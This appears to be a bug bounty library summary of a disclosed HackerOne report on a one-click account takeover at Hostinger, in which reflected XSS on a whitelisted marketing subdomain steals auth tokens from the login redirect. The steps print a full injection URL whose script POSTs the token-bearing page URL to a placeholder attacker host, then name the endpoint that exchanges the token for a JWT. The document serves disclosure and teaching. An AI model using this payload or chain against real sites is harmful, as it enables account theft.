# 1 Click Account Takeover via Auth Token Theft on marketing.hostinger.com

Reflected XSS on whitelisted marketing.hostinger.com redirect_url param let attackers steal auth tokens via auth.hostinger.com login redirect, achieving one-click account takeover.

- Payout: hidden
- Severity: high
- Program: hostinger 
- Found by: aziz0x48
- Disclosed: 2025-06-06
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/3081691
- Library page: https://bugbountylibrary.com/r/h1%3A3081691
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:oauth technique:recon vuln:account-takeover vuln:open-redirect vuln:xss

**Target:** auth.hostinger.com login redirectUrl + marketing.hostinger.com redirect_url parameter
**Root cause:** marketing.hostinger.com is whitelisted as a redirect target for auth.hostinger.com and reflects the redirect_url parameter unescaped into HTML, allowing script injection.
**Steps:**
1. Craft auth.hostinger.com/login/?redirectUrl=https://marketing.hostinger.com/en-us/marketplace_wix/site_not_published?redirect_url=x"></a><script>fetch('//attacker',{method:'POST',body:window.location})</script>
2. Victim visits link while logged in; auth redirects to whitelisted marketing subdomain
3. Injected script executes and POSTs window.location (containing auth token) to attacker collaborator
4. Attacker uses stolen token in POST /hpanel/auth/auth-token on builder-backend.hostinger.com to mint a valid JWT
**How found:** Researcher noticed marketing.hostinger.com was whitelisted for auth redirects and tested the redirect_url parameter for reflection, finding it injectable into HTML context.
**Exploitation:** Attacker sends crafted auth.hostinger.com login URL to victim; after login the whitelisted redirect lands on marketing.hostinger.com where the reflected script exfiltrates the URL containing the auth token to an OAST server; attacker exchanges the token for a JWT via builder-backend and takes over the account.
**Escalation:** Token exchange endpoint converts leaked auth token into full JWT granting access to hPanel, website builder, VPS, email.
**Insight:** Check every domain on an OAuth/login redirect allowlist for reflected parameters; a whitelisted but forgotten/rebranded subdomain (here rebranded to rankingcoach.com) is a prime XSS pivot to steal tokens from the auth flow.